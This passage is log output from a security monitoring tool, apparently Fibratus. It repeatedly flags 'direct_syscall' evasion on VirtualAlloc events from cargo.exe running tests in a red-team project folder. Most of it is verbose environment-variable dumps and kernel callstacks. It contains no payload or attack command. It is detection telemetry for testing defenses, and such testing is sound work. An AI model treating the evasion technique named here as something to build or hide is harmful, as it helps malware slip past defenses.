POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc41d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903084 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0015514 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50d1000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc41d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903089 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0019419 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50cf000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual 